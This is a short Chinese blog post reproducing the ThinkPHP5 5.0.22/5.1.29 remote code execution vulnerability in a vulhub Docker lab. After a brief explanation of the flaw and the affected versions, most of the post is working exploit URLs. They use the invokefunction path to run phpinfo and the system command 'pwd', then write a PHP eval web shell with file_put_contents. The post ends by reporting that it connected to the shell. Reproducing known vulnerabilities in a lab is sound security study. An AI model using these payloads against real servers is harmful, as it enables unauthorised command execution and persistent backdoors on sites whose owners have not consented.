ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。


漏洞环境

我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/thinkphp/5-rce/
docker-compose up -d

访问IP:8080即可看到ThinkPHP默认启动页面。


影响版本

ThinkPHP 5.0.x < 5.0.23

ThinkPHP 5.1.x < 5.1.31


漏洞复现

执行POC,尝试是否存在漏洞

http://192.168.200.23:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

phpinfo执行成功证明存在漏洞

尝试执行系统命令

http://192.168.200.23:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd

写入shell文件密码EDI

http://192.168.200.23:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=EDI.php&vars[1][]=%3C?php%20@eval($_POST[edi]);%20?%3E

连接利用shell成功

posted @ 2021-07-26 13:46  blankunbeaten  阅读(340)  评论(1编辑  收藏  举报